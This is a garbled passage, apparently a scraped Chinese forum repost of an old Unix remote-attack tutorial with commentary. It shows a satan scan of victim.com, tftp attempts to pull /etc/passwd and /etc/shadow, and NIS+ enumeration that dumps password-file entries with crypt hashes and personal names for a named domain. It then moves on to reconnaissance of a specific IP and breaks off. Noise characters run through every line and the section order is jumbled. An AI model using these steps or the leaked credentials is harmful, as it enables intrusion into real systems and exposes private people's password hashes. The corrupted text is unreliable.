. X0 a' B+ r4 x; {6 s) Z7 D(samsa:這些著名的漏洞現(xiàn)在哪兒還會(huì)有呢?:-(() ; _6 j! P; O5 S7 H G' t7 b1 \( q7 O 2 F& k# g6 v- V: f8) 使用 scanner(***)( H1 m4 Y1 y; v0 D1 _- a
( l$ c6 Y7 l/ M/ I# satan victim.com" }+ v2 I0 T' n+ V6 O
7 @; J- A X' X2 ]..., T8 g" C; ~! R W7 `
# y9 @; U+ f: h
(samsa:satan 是圖形界面的,就沒法陳列了!! ( F7 M2 f3 o! p% m, r, C' ~4 ? " _" _! |0 z1 v! a5 l5 d8 {5 Y4 y列舉出 victim.com 的系統(tǒng)類型(e.g.SunOS 5.7),提供的服務(wù)(e.g.WWW)和存在的脆弱性)" T2 A3 O. M; z, [; {9 P$ B
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二、隔山打牛(遠(yuǎn)程攻擊) G# ~+ ~$ P K4 n4 y9 c3 \( l2 j* O) E
1) 隔空取物:取得passwd : u# Y' t4 A* P5 C) Q3 R - t- d& ?( N7 h$ G x0 K# ~4 T1.1) tftp % |* W; u& U; M4 r' Z2 l 0 d h2 R I* J" |2 u3 ?" E# tftp numen 2 e. ]7 c; w) S$ H; @: S7 ?0 ^2 b5 r2 U( F( ^* A* E+ l3 ?
tftp> get /etc/passwd F5 M+ p4 O P6 `8 Q* y* ]. }7 S0 v
! g& r. f3 M3 B8 dError code 2: Access violation) X# Q: d/ I: f
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tftp> get /etc/shadow" @4 R- j! m7 W& p' H
3 g; X! D# F& ]% [* f* iError code 2: Access violation + o, n5 `. Q0 U# Y) d* e; H: S3 m4 G# n7 H- X
tftp> quit C% c% F7 y( Q# z; q, t0 T
: I( Q& ^" k$ h. D' M8 Y5 F# I$ f(samsa:一無所獲,但是...) [1 o( A3 W: e! W/ n
$ j. u, u, G; {) m* E% ]0 r
# tftp sun8 ! P0 G3 j+ k9 s5 G6 G y* W; h5 e' t
tftp> get /etc/passwd" o; X( I6 L0 v5 {
2 L% ~1 J) i9 B4 G8 `3 S運(yùn)行目標(biāo)機(jī)器上的過?4 I: d5 r3 L0 a' l7 n# Y
! R4 O$ A3 h3 G2.5) x-windows ! `- O1 j' b( _: M, r3 f+ o- @% V + @: V3 Y7 H. T0 _如果xhost的access control is disabled,就可以遠(yuǎn)程控制這臺(tái)機(jī)器的顯示系統(tǒng),在3 O' H- N2 [/ o
) H" q' ]& |3 |9 h# V7 j1.3) NIS+ ; L- Y8 W+ o( [" q- Z, j, O ) S$ m4 _+ ~6 C5 R5 b8 J3 qox% domainname. {( S5 B; ]; `6 A, s3 t; e
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ios.ac.cn - o! R7 N& q. R! z 2 ?& U2 Z6 Q; A" `ox% nisls- N# R% j; Y7 b
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ios.ac.cn: 3 j& A( a' ~: H2 I$ a 3 S0 H1 `2 A# Forg_dir % @, s4 b$ {9 n5 Y5 A7 j* Y( ~4 k8 p1 T, k, L8 \, D
groups_dir6 C! X2 k& c5 {! y( i1 ?5 l
- i4 Z, {6 K3 v6 ]+ {* [2 {; {( G! z6 W: o3 Box% nisls org_dir- O. I& L2 p# g) y
5 e D5 v7 \4 ~( R- B+ C# i
org_dir.ios.ac.cn.: 2 N: l* e$ }3 i9 ~/ V5 |' T. `3 p! z/ R& M6 C% o9 D6 C# t; L) w
passwd ; k( z7 |: [* Z9 k/ _* I- p' K! z) _4 K/ W
group9 H' C& t% }9 E& _
7 u) g- @4 j/ x6 _ _9 Kauto_master# G1 J, a, X/ s* ^1 }
5 i8 U8 [6 [ B; _+ q/ u1 f) {
auto_home3 k+ J# n v2 a4 j. [" J
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auto_home0 ?2 ] H6 Z1 |, l$ x" I
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bootparams M# |) O" ^0 Z; O " v3 I5 N3 F4 }' R: q: u- y: Vcred3 }) V' ^3 n% K+ V& Q" \0 R
: y, |) `; M& ?& o5 g9 J/ z5 Tethers ( N$ j7 B) r& M4 w% D' F+ L% t1 b- Q
hosts$ ]% r- j$ D3 Q0 `2 M1 r" Y
0 D6 b; A( s2 I6 A
mail_aliases G# t- E2 E- ]% _1 {. E5 v% C4 o' A
E, G2 E+ J- d+ @
sendmailvars $ u6 |* w# q- t+ O $ |( K9 w! Y- u! |" gnetmasks ) {! e4 I& h; J. d0 P' }7 K7 m) J& S: G2 T7 x1 w& p
netgroup) z" W+ K( j. Q2 c( l5 \
+ W. ^- W) A' Nnetworks" M) {' d7 S" J* A; I, ]
/ |5 W' ~, _1 L5 f
protocols ( m3 E M, L6 j% C' O ( n' V- B% r- s+ i% i: C6 Lrpc' n F% y* j8 z' J# L- u
0 t ^" h) g6 h2 C6 S* j: cnoaccess:NP:60002:60002:No Access User:/::6445:::::: ( g( v1 [) p3 J6 T. w: a J0 W6 V/ i/ L6 c7 F) ~# E$ \2 k
guest:NP:14:300:Guest:/hd2/guest:/bin/csh:10658::::::2 h/ Z3 p* k3 n; z
1 d) }3 _, y8 _. f2 }) c
syscd:qkPu7IcquHRRY:120:10::/usr/syscd:/bin/csh::::::: 6 k- o0 E' E7 E3 I: f" N5 V% T) b7 x8 N7 ?1 ]
peif:DyAkTGOg/2TCY:819:800:Pei Fei:/home/peif:/bin/csh:10491::::::: R b6 p- X" |0 B! W
- ?: ^$ z8 G# r
lxh:T4FjqDv0LG7uM:510:500:Liu Xuehui:/home/lxh:/bin/csh:10683:::::: " m4 H8 Z! ]0 K* a4 b4 z# t& f# y0 J) |! o" [
fjh:5yPB5xLOibHD6:507:500:Feng Jinhui:/home/fjh:/bin/csh:10540:::::: N0 C+ J2 J9 ]1 V, q% \) T7 i
3 E* q3 r1 {8 `1 I# C @lhj:UGAVVMvjp/9UM:509:500:Li Hongju:/home/lhj:/bin/csh:10142:::::: & E& v5 P$ a0 a, H$ R3 O. [& O, v( ^& m
....' F t5 u) i t0 N8 N! e+ F( R
8 O; o j/ L! c* @& [4 {- z' {2 d6 f/ {(samsa:gotcha!!!)4 H, v9 m. n. `* q8 a
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2) 尋找系統(tǒng)漏洞1 v+ C6 S; X2 S/ ]. \3 y4 |
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2.0) 搜集信息 / y, H/ W" \% m# x5 X% Q4 D ) m; ^% Z1 T, C1 _3 J* ?% P" H: mox% uname -a" w/ q4 i) L4 I$ Y7 I. M7 k9 m4 Z' X
5 r- x7 ?6 y, W, t
SunOS ox 5.5 Generic sun4d sparc SUNW,SPARCserver-1000% o7 t# N4 z: x: k/ k+ b
7 E; a! o2 t/ V$ hox% id! D J. f: Z2 f; Y- U7 a- |/ T
8 |6 e* }6 V( r. q K0 muid=820(ywc) gid=800(ofc)) A5 j8 j. Y m7 d" D; p4 D% ^8 g7 j% h: E
9 W) M" f/ C! z4 Y G
ox% hostname 1 l9 ~* _" d0 L6 L6 E + z/ ^/ c% R% {ox) @* S; P( ^# C
( z3 m. H) I! N0 h
ox 4 u$ ~" t- B# {! @/ C! Z * ~2 M" S, ?& m0 cox% domainname/ b7 [" I8 y' ]! ^# Q7 g
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ios.ac.cn * |% ?% I! N# C" d9 f 3 C- d* Z' l6 ?' N. box% ifconfig -a4 h! ?$ [- Z. {8 w
2 Q7 G6 D( l% A; q$ o! X
lo0: flags=849 mtu 8232 + b4 x o6 } E) a9 k. {2 r- [1 ?' b: o
inet 127.0.0.1 netmask ff000000 7 G, b! G- b- O( ^( P" o0 H) H' u2 r0 R& Q) y/ E5 t }
be0: flags=863 mtu 1500 6 N, F% ~9 H% C4 K8 B4 ]( r9 f6 g# m
inet 159.226.5.188 netmask ffffffc0 broadcast 159.226.5.191 / f+ ^' X1 u& p' d2 k! X/ Q. o' k/ ^6 o0 z, c* ? W1 e- ], p# W4 [
ipd0: flags=c0 mtu 8232 O) I J( I- A$ G( D" ]
" p; {# d- A3 R, b/ l1 Q
inet 0.0.0.0 netmask 0! z- C$ f* L3 `4 W3 I2 a1 W
5 _; E3 Z n$ U2 y# Yox% netstat -rn% j1 Y* `- L; `3 H& Y: |4 e
( _. m" K8 T) Q. Z' ^9 L vRouting Table:, O- d4 x7 _2 | z, }. w